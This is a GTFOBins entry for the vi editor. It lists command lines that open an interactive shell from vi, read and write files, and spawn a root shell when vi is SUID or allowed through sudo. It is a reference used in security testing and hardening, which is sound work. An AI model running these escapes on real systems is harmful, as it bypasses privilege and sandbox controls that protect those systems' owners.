GTFOBins.github.io/_gtfobins/vi.md
2018-07-16 15:01:50 +02:00

20 lines
345 B
Markdown

---
functions:
execute-interactive:
- code: vi -c ':!/bin/sh'
- code: |
vi
:set shell=/bin/sh
:shell
file-write:
- code: |
vi file_to_write
w
file-read:
- code: vi file_to_read
suid-enabled:
- code: ./vi -c ':!/bin/sh -p'
sudo-enabled:
- code: sudo vi -c ':!/bin/sh'
---